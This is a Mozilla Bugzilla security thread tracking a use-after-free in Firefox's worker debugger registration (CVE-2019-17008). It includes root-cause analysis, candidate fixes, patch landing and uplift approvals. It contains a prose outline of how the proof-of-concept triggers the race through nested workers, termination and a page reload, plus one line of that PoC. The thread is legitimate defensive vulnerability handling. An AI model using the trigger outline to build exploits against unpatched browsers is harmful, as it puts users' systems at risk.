Bugzilla

Updated

•

5 years ago

Group: core-security → dom-core-security

Keywords: csectype-uaf, sec-high

Updated

•

5 years ago

Flags: needinfo?(ytausky)

Flags: needinfo?(bugmail)

Updated

•

5 years ago

status-firefox67: --- → ?

status-firefox-esr60: --- → ?

Reporter

Comment 1

•

5 years ago

Attached file UAF_RegisterDebuggerMainThread_PoC.js — Details

Corrected a single quote error in the POC:
mainPageCode += ' var s = new String('AAAA');\n';

=>
mainPageCode += ' var s = new String("AAAA");\n';

Not sure how I made this mistake. Sorry about that.

Attachment #9060048 - Attachment is obsolete: true

Andrew Overholt [:overholt]

Reporter

Comment 2

•

5 years ago

Is there anyone looking at this bug?
It's been opened for over 3 weeks.

Yaron Tausky [:ytausky]

Comment 3

•

5 years ago

We're kinda swamped right now, it can take some time unfortunately...

Flags: needinfo?(ytausky)

Updated

•

5 years ago

Priority: -- → P1

Hsin-Yi Tsai (she/her) (REO Fx 129) [:hsinyi]

Reporter

Comment 4

•

5 years ago

What is the plan for this bug?

Comment 5

•

5 years ago

(In reply to Looben Yang from comment #4)

What is the plan for this bug?

We just landed a stack of patches in bug 1559919 that we believe should improve worker invariants in general. We'll investigate if this is fixed.

Hsin-Yi Tsai (she/her) (REO Fx 129) [:hsinyi]

Reporter

Comment 6

•

5 years ago

bug 1559919 has been closed for over two weeks. Do you have a chance to verify if this bug is fixed?

Comment 7

•

5 years ago

(In reply to Looben Yang from comment #6)

bug 1559919 has been closed for over two weeks. Do you have a chance to verify if this bug is fixed?

Unfortunately bug 1559919 didn't help too much. We need further work here.

Reporter

Comment 8

•

5 years ago

(In reply to Hsin-Yi Tsai [:hsinyi] from comment #7)

(In reply to Looben Yang from comment #6)

bug 1559919 has been closed for over two weeks. Do you have a chance to verify if this bug is fixed?

Unfortunately bug 1559919 didn't help too much. We need further work here.

This bug missed the 90 day deadline advocated by Google. It never happens before with Mozilla.

Comment 9

•

5 years ago

See bug 1545345 comment 13: this may be a manifestation of the same issue.

Yaron Tausky [:ytausky]

Comment 10

•

5 years ago

I tried running it with the current nightly and I don't get an ASan message there. Does it need to run for a while before it happens, or does it happen pretty fast?

Updated

•

5 years ago

Assignee: nobody → htsai

Yaron Tausky [:ytausky]

Updated

•

5 years ago

Assignee: htsai → ytausky

Comment 11

•

5 years ago

•

Edited

From what I can see in the source related to the stack trace, we have a WorkerPrivate instance, that is freed through reference counting by:

NS_INLINE_DECL_REFCOUNTING(WorkerPrivate) [1]

and then accessed through a raw pointer in [3]

class UnregisterDebuggerMainThreadRunnable final : public mozilla::Runnable {
  WorkerPrivate* mWorkerPrivate;

As the ref-counting on WorkerPrivate has been introduced quite recently in [2], I assume, that not all pointers to such objects have been uplifted to be RefPtr and some of them may therefore outlive the instance. We should therefore check all WorkerPrivate* variables in our classes.

[1] https://searchfox.org/mozilla-central/source/dom/workers/WorkerPrivate.h#109
[2] introduced by https://bugzilla.mozilla.org/show_bug.cgi?id=1435263 part 17
[3] https://searchfox.org/mozilla-central/source/dom/workers/WorkerDebuggerManager.cpp#46

Updated

•

5 years ago

Assignee: ytausky → bugmail

[1] https://searchfox.org/mozilla-central/search?q=WorkerPrivate*+m&path=

Comment 12

•

5 years ago

A quick search [1] in searchfox gives quite some occurences (no guarantee to be complete):

	dom/file/FileReaderSync.cpp
	dom/indexedDB/ActorsChild.cpp
	dom/notification/Notification.h
	dom/performance/PerformanceWorker.h
	dom/serviceworkers/ServiceWorkerEvents.cpp
	dom/serviceworkers/ServiceWorkerPrivate.cpp
	dom/workers/RuntimeService.cpp
	dom/workers/ScriptLoader.cpp
	dom/workers/WorkerDebugger.h
	dom/workers/WorkerDebuggerManager.cpp
	dom/workers/WorkerEventTarget.h
	dom/workers/WorkerPrivate.cpp
	dom/workers/WorkerPrivate.h
	dom/workers/WorkerRef.h
	dom/workers/WorkerRunnable.h
	dom/workers/WorkerScope.h
	dom/workers/WorkerThread.cpp
	dom/workers/WorkerThread.h
	dom/xhr/XMLHttpRequestWorker.cpp
	dom/xhr/XMLHttpRequestWorker.h

So there might be many side-effects of this in different occasions.

Updated

•

5 years ago

Assignee: bugmail → perry

Updated

•

5 years ago

Comment 13

•

5 years ago

Is fixing this dependent on fixing bug 1539508? If so then please make that bug a higher priority. I'll follow up in email.

status-firefox67: ? → wontfix

status-firefox68: affected → wontfix

status-firefox69: --- → wontfix

status-firefox70: --- → affected

status-firefox71: --- → affected

status-firefox-esr60: ? → wontfix

tracking-firefox71: --- → +

Flags: needinfo?(perry)

Flags: needinfo?(jstutte)

Perry Jiang [:perry] [no longer employee, use ni?]

Comment 14

•

5 years ago

@Liz: Not necessarily. I would rather recommend to fix the evident things (use of raw pointers) here as part of this bug and to leave bug 1539508 at P2, given that it is very unspecific and will probably lead to a meta-bug with several tasks.

@Perry: Agree?

Flags: needinfo?(jstutte)

Comment 15

•

5 years ago

(In reply to Jens Stutte [:jstutte] from comment #14)

@Perry: Agree?

I agree, bug 1539508 seems to have a much broader scope (but may indeed be addressing the underlying cause of this one).

Flags: needinfo?(perry)

Julien Cristau [:jcristau]

Updated

•

5 years ago

status-firefox70: affected → fix-optional

status-firefox72: --- → affected

status-firefox-esr68: --- → affected

tracking-firefox70: --- → +

tracking-firefox72: --- → +

tracking-firefox-esr68: --- → 71+

Comment 16

•

5 years ago

I take this bug from Perry.
I will start this bug and related bugs in the later of this week.

Assignee: perry → echuang

Status: NEW → ASSIGNED

Updated

•

5 years ago

status-firefox70: fix-optional → wontfix

Assignee

Updated

•

5 years ago

Updated

•

5 years ago

Flags: needinfo?(bugmail) → needinfo?(loobenyang)

See Also: 1539508, CVE-2020-12387, 1557732 →

Reporter

Comment 17

•

5 years ago

Hi Eden, what can I help?

Flags: needinfo?(loobenyang)

Assignee

Comment 18

•

5 years ago

Hi Looben, sorry to the wrong mark ni to you.

I tested with the Firefox nightly, but could not reproduce the issue. I think it might be fixed by patches between 68 to 70.
However, it could be reproduced with Firefox 68 esr.

What the testcase do
main page:

Create a gc function
Create a dedicated worker worker 0 (worker0.js) and set worker.onerror to call gc function().
Create a dedicated worker worker 1 (worker1.js)
set a timeout 200 ms, then to reload page.

worker0.js:

Create a nested dedicated worker embedworker1 (embedworker1.js)

worker1.js:

Set self.onerror to call embedworker0.terminate()
Create a nested dedicated worker embedworker0 (embedworker0.js)

When creating a worker, WorkerPrivate constructor also calls worker->EnableDebugger() and registers a debugger in WorkerDebuggerManager after the worker is scheduled. If the worker is not a top-level worker, RegisterDebuggerMainThreadRunnable is created and dispatched to the main thread. If there is no debugger listener in WorkerDebuggerManager, continuing the worker constructing, otherwise waiting for the debugger registration finishes.
When the reload is called, workers go into the finishing process. WorkerFinishedRunnable will be created and delete the corresponding WorkerPrivate.
This is an intermittent issue. To hit the UAF, the RegisterDebuggerMainThreadRunnable must be executed after WorkerFinishedRunnable execution.

Assignee

Comment 19

•

5 years ago

Jens's suggestion in comment 11 does not work. Change raw pointer to RefPtr would change the lifecycle of WorkerPrivate, and hit assertion expects the WorkerPrivate should be nullptr.

Andrew Sutherland [:asuth] (he/him)

Comment 20

•

5 years ago

Thanks for sorting this out. So the root cause is an unexpected order of calling (WorkerFinishedRunnable before RegisterDebuggerMainThreadRunnable) on the same object. Fix this order will probably heal this and make things work.

But I still assume, that someday we should take a closer look on bug 1539508 in order to increase overall robustness. All those raw pointers on a ref-counted object look at least suspicious. And from a security point of view, an unexpected order of calls should never be able to break things up to a UAF. Especially if the originating call is potentially in a different process, we should never rely on having these calls in a specific order but fail gently, if something unexpected happens (such that at worst the calling process breaks, not ours).

Comment 21

•

5 years ago

In general the solution for situations like this is to give the runnables in question ThreadSafeWorkerRef instances (which attach to a StrongWorkerRef). The complexity here is that WorkerRefs are explicitly designed so that they are created on the worker thread itself, but WorkerPrivate::Constructor is running on the parent of the worker.

The assertion-book-keeping for this comes from NS_DECL_OWNINGTHREAD / nsAutoOwningThread. Because of how it's implemented, this makes it hard to hack a state update to a pre-emptively created StrongWorkerRef. (It saves off the current thread at creation time into a private mThread field which is then used for all of the NS_ASSERT_OWNINGTHREAD checks.)

The core of a potential solution might be:

Create a subclass of ThreadSafeWorkerRef called something like CreationTimeThreadSafeWorkerRef that exists for this exact case. It is ThreadSafeWorkerRef for the code that is creating the worker before it exists.
CTTSWR (CreationTimeThreadSafeWorkerRef) would be initialized without its RefPtr<StrongWorkerRef> mRef being initialized. It would strongly assert that the WorkerPrivate's mParentStatus is Pending. (WorkerPrivate::Start changes it to Running in RuntimeService::ScheduleWorker).
WorkerPrivate would have a private field RefPtr<CTTSWR> mCreationTimeRef. Because the CTTSWR's are threadsafe refcounted, there really only ever needs to be just the one.
WorkerThreadPrimaryRunnable::Run would call a method on mCreationTimeRef that causes it to create StrongWorkerRef instances. It would then clear mCreationTimeRef because no one else should use it (and it's literally a cyclic reference). It would likely make sense to do this right after the assert at https://searchfox.org/mozilla-central/rev/59de675101da711520c0bb6e34a1ea2372e7ddbb/dom/workers/RuntimeService.cpp#2297. My location rationale there is that it's after the SetThreadHelper has called WorkerPrivate::SetWorkerPrivateInWorkerThread and set and configured mThread. (Note that the method also dispatches the mPreStartRunnables, but dispatch just means to enqueue them, they don't get run. We're just transferring them to the actual event target that will process them.)
We create the CTTSWR prior to the call to RuntimeService::RegisterWorker because that's what calls WorkerPrivate::Start. So somewhere just above https://searchfox.org/mozilla-central/rev/59de675101da711520c0bb6e34a1ea2372e7ddbb/dom/workers/WorkerPrivate.cpp#2362 probably. We then hand that to the call to WorkerPrivate::EnableDebugger to use if needed.
Add a diagnostic assertion to WorkerPrivate::ClearSelfAndParentEventTargetRef that the mCreationTimeRef is empty.

The one major edge-case to be concerned about is the case where the worker is told to terminate before it ever gets a chance to be scheduled to run on a thread or if we experience resource exhaustion that causes us to be unable to create a thread. In that case, the CTTSWR is providing us with zero guarantees about WorkerPrivate::mSelfRef being maintained. The call to WorkerPrivate::ScheduleDeletion(WorkerPrivate::WorkerNeverRan) at https://searchfox.org/mozilla-central/rev/59de675101da711520c0bb6e34a1ea2372e7ddbb/dom/workers/WorkerPrivate.cpp#1598 will schedule the (TopLevel)WorkerFinishedRunnable which will clear the self-reference.

I'm not quite as sure what to do about that situation to keep things clean. The main options would seem to be:

Have CTTSWR hold a strong RefPtr<WorkerPrivate> until it transfers to a StrongWorkerRef. This might run afoul of what Eden is talking about in comment 19.
Have WorkerPrivate::ScheduleDeletion(WorkerPrivate::WorkerNeverRan) defer dispatching the (TopLevel)WorkerFinishedRunnable until its destructor fires.
- Note that the logic at https://searchfox.org/mozilla-central/rev/e8e4a8641f3e6728ea42ae30905ce2145bfd5568/dom/workers/WorkerPrivate.cpp#3283-3288 seems to be incompatible with the WorkerNeverRan call pattern. Although this hunk was introduced in Bug 1504638, it was replacing an AssertIsOnWorkerThread() call at https://searchfox.org/mozilla-central/rev/3f79d90ac57fb4d13eac6f68e44ca79575d9d25d/dom/workers/WorkerPrivate.cpp#3736 that was equally as incorrect AFAICT. (I thought the assertion might actually be a vacuously true sort of thing because the mThread wouldn't have been assigned, but it seems like the assertion would indeed fire for a null mThread.)

In both cases, we'd of course need to drop the mCreationTimeRef reference from WorkerPrivate around the time WorkerPrivate::ScheduleDeletion(WorkerPrivate::WorkerNeverRan) is invoked so that we don't have a cycle that ends up leaking the WorkerPrivate.

https://searchfox.org/mozilla-esr68/source/dom/workers/WorkerDebuggerManager.cpp#247

Assignee

Comment 22

•

5 years ago

•

Edited

This is a simple thread interleaving problem. UAF can only happen on the nested worker case.

For top-level worker, instead of creating a RegisterDebuggerMainThreadRunnable, calling RegisterWorkerDebuggerMainThread directly, and debugger registration is completed before exiting WorkerPrivatre::Constructor and WorkerThreadPrimaryRunnable::Run. Therefore we never get the UAF on top-level worker case.

However, for nested workers, since the parent thread is not the main thread, WorkerPrivate::EnableDebugger() finally creating RegisterDebuggerMainThreadRunnable then dispatching it to main thread to register debugger. If there is no listeners on WorkerDebuggerManager, the parent thread is not blocked, and WorkerPrivate::Constructor continues the construction.

That means WorkerThreadPrimaryRunnable::Run could be executed before RegisterDebuggerMainThreadRunnable::Run. For the situation, reload() could make WorkerThreadPrimaryRunnable::Run() exit the DoRunLoop immediately and call WorkerPrivate::ScheduleDeleteion. So if RegisterDebuggerMainThreadRunnable::Run is executed after that, we hit the use after free case.

To not change the WorkerPrivate lifecycle, followings could be the considered solutions.

Always call aWorkerPrivate->WaitForIsDebuggerRegistered(true) in the case, not only for the case if we have listeners on WorkerDebuggerManager.
This simplest solution makes the WorkerPrivate construction behavior is the same with the top-level workers, but it introduces the overhead for the debugger is not using.
https://searchfox.org/mozilla-esr68/source/dom/workers/WorkerDebuggerManager.cpp#234
Cancel RegisterDebuggerMainThreadRunnable() if it is not executed when calling WorkerPrivate::ScheduleDeleteion
This solution is much more complicated for implementation. We need to remember the RegisterDebuggerMainThreadRunnable() in some where, probably in WorkerPrivate, and check is it executed when calling WorkerPrivate::ScheduleDeleteion() and cancel it at the mean time do not execute WorkerPrivate::DisableDebugger. Of course, I think Andrew's suggestion in comment 21 is also doable. I think it is also another way to cancel RegisterDebuggerMainThreadRunnable() by checking the WorkerPrivate status by itself.

Flags: needinfo?(bugmail)

Assignee

Comment 23

•

5 years ago

Attached file Missing call to WaitForIsDebuggerRegistered — Details

During constructing the WorkerPrivate for nested workers, WorkerPrivate::EnableDebugger eventually creates RegisterDebuggerMainThreadRunnable to register worker debugger on the main thread. However, if WorkerDebuggerManager has no listeners, which means no one using the debugger, the WorkerPrivate construction will not be blocked, then the worker will start to wait for events finally.
A situation could happen, the worker is finishing/terminating by reloading or other reasons, but the main thread still doesn't execute the dispatched RegisterDebuggerMainThreadRunnable. And UAF occurs when running the runnable after killing the worker.

This patch detecting if the dispatched RegisterDebuggerMainThreadRunnable is executed or not while finishing the worker. If it is not executed, the worker finishing will be blocked until the runnable is completed.

This patch is not risky since WorkerPrivate::DisableDebug must be called when finishing the worker in the original code. And WorkerPrivate::DisableDebug also blocks the worker finishing.

https://treeherder.mozilla.org/#/jobs?repo=try&revision=7220c55559d10501eca5b1d9ebfe4f16e9924565&selectedJob=274886097

Assignee

Comment 24

•

5 years ago

Comment 25

•

5 years ago

Eden, did you mean to request sec-approval?
And, is this something that might be OK for uplift to release 70?

status-firefox70: wontfix → affected

Flags: needinfo?(tom)

Flags: needinfo?(echuang)

Flags: needinfo?(dveditz)

Assignee

Comment 26

•

5 years ago

Comment on attachment 9107143 [details]
Missing call to WaitForIsDebuggerRegistered

Security Approval Request

How easily could an exploit be constructed based on the patch?: Not sure. But I think it might be not easy to realize the problem from the patch.
Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
Which older supported branches are affected by this flaw?: 68
If not all supported branches, which bug introduced the flaw?: None
Do you have backports for the affected branches?: Yes
If not, how different, hard to create, and risky will they be?:
How likely is this patch to cause regressions; how much testing does it need?: I think the patch should not cause regressions easy.

Flags: needinfo?(echuang)

Attachment #9107143 - Flags: sec-approval?

Assignee

Comment 27

•

5 years ago

Liz, yes, I think it is OK for uplift to release 70 and esr68.

Flags: needinfo?(bugmail)

Comment 28

•

5 years ago

Comment on attachment 9107143 [details]
Missing call to WaitForIsDebuggerRegistered

I'd like to do the following:

Move the comment from the commit message. We have it in Comment 23 for historical details. Let's make the commit message something like "Missing call to WaitForIsDebuggerRegistered"
In the comment in the source code, remove the mention of 'nested workers'
Let's land this later in the cycle. Looks like soft code freeze is 11/25, so let's land it 11/14 or 11/15.

Flags: needinfo?(tom)

Flags: needinfo?(dveditz)

Attachment #9107143 - Flags: sec-approval? → sec-approval+

Comment 29

•

5 years ago

If we want to get it into 70.0.2, that's possible, but I'll make sure the timing will work with landing on 11/14 or I'll come back and ask to land it a bit sooner.

Comment 30

•

5 years ago

As of today we don't have a driver for 70.0.2 any more. So, we can probably target this for 71 as planned in comment 28.
Meanwhile, I'll keep tracking this in case another driver comes up for 70.0.2.

Phabricator Automation

Updated

•

5 years ago

Attachment #9107143 - Attachment description: call WaitForIsDebuggerRegistered(true) in WorkerPrivate::DisableDebugger for the nested worker → Missing call to WaitForIsDebuggerRegistered

Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)

Assignee

Updated

•

5 years ago

Keywords: checkin-needed-tb

Comment 31

•

5 years ago

https://hg.mozilla.org/integration/autoland/rev/cde2ca39e32b7e344ebd4f6eac900c7ac1dee26a

Please use the tag 'CheckinNeeded' in Phabricator in the future - the workflow with the 'checkin-needed' keyword is not supported anymore.

Keywords: checkin-needed-tb

Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)

Comment 32

•

5 years ago

https://hg.mozilla.org/mozilla-central/rev/cde2ca39e32b

Group: dom-core-security → core-security-release

Status: ASSIGNED → RESOLVED

Closed: 5 years ago

status-firefox72: affected → fixed

Resolution: --- → FIXED

Target Milestone: --- → mozilla72

Assignee

Comment 33

•

5 years ago

(In reply to Sebastian Hengst [:aryx] (needinfo on intermittent or backout) from comment #31)

https://hg.mozilla.org/integration/autoland/rev/cde2ca39e32b7e344ebd4f6eac900c7ac1dee26a

Please use the tag 'CheckinNeeded' in Phabricator in the future - the workflow with the 'checkin-needed' keyword is not supported anymore.

Sorry, didn't notice that. Will use tag 'CheckinNeeded' in Phabricator.

Assignee

Comment 34

•

5 years ago

Hello Liz

Should we just land the patch on beta and esr68?

Flags: needinfo?(lhenry)

Comment 35

•

5 years ago

Yes please

Flags: needinfo?(lhenry) → needinfo?(echuang)

Comment 36

•

5 years ago

Can you fill out the approval request on the patch though?

Ryan VanderMeulen [:RyanVM][PTO June 24-28]

Assignee

Comment 37

•

5 years ago

Comment on attachment 9107143 [details]
Missing call to WaitForIsDebuggerRegistered

Beta/Release Uplift Approval Request

User impact if declined: Pages use DedicatedWorkers could be crashed.
Is this code covered by automated tests?: No
Has the fix been verified in Nightly?: Yes
Needs manual test from QE?: No
If yes, steps to reproduce:
List of other uplifts needed: None
Risk to taking this patch: Low
Why is the change risky/not risky? (and alternatives if risky): Since the change just guarantees the worker debugger behavior is completed before releasing the worker, it doesn't make any unexpected behavior.
String changes made/needed: No

ESR Uplift Approval Request

If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: Pages use DedicatedWorkers could be crashed.
Fix Landed on Version: 72
Risk to taking this patch: Low
Why is the change risky/not risky? (and alternatives if risky): Since the change just guarantees the worker debugger behavior is completed before releasing the worker, it doesn't make any unexpected behavior.
String or UUID changes made by this patch: No

Attachment #9107143 - Flags: approval-mozilla-esr68?

Attachment #9107143 - Flags: approval-mozilla-beta?

Updated

•

5 years ago

status-firefox70: affected → wontfix

Flags: needinfo?(echuang)

Updated

•

5 years ago

Flags: sec-bounty? → sec-bounty+

Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)

Comment 38

•

5 years ago

Comment on attachment 9107143 [details]
Missing call to WaitForIsDebuggerRegistered

Crash fix, OK for uplift for beta 12, esr 68.3.

Attachment #9107143 - Flags: approval-mozilla-esr68?

Attachment #9107143 - Flags: approval-mozilla-esr68+

Attachment #9107143 - Flags: approval-mozilla-beta?

Attachment #9107143 - Flags: approval-mozilla-beta+

Comment 39

•

5 years ago

uplift

https://hg.mozilla.org/releases/mozilla-beta/rev/e09e60002be9

status-firefox71: affected → fixed

Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)

Comment 40

•

5 years ago

uplift

https://hg.mozilla.org/releases/mozilla-esr68/rev/1827cf7d273d

status-firefox-esr68: affected → fixed

Updated

•

5 years ago

Whiteboard: [adv-main71+]

Comment 41

•

5 years ago

Attached file advisory.txt (obsolete) — Details

Updated

•

5 years ago

Whiteboard: [adv-main71+] → [adv-main71+][adv-esr68.3+]

Comment 42

•

5 years ago

Attached file advisory.txt — Details

Attachment #9111772 - Attachment is obsolete: true

Updated

•

5 years ago

Alias: CVE-2019-17008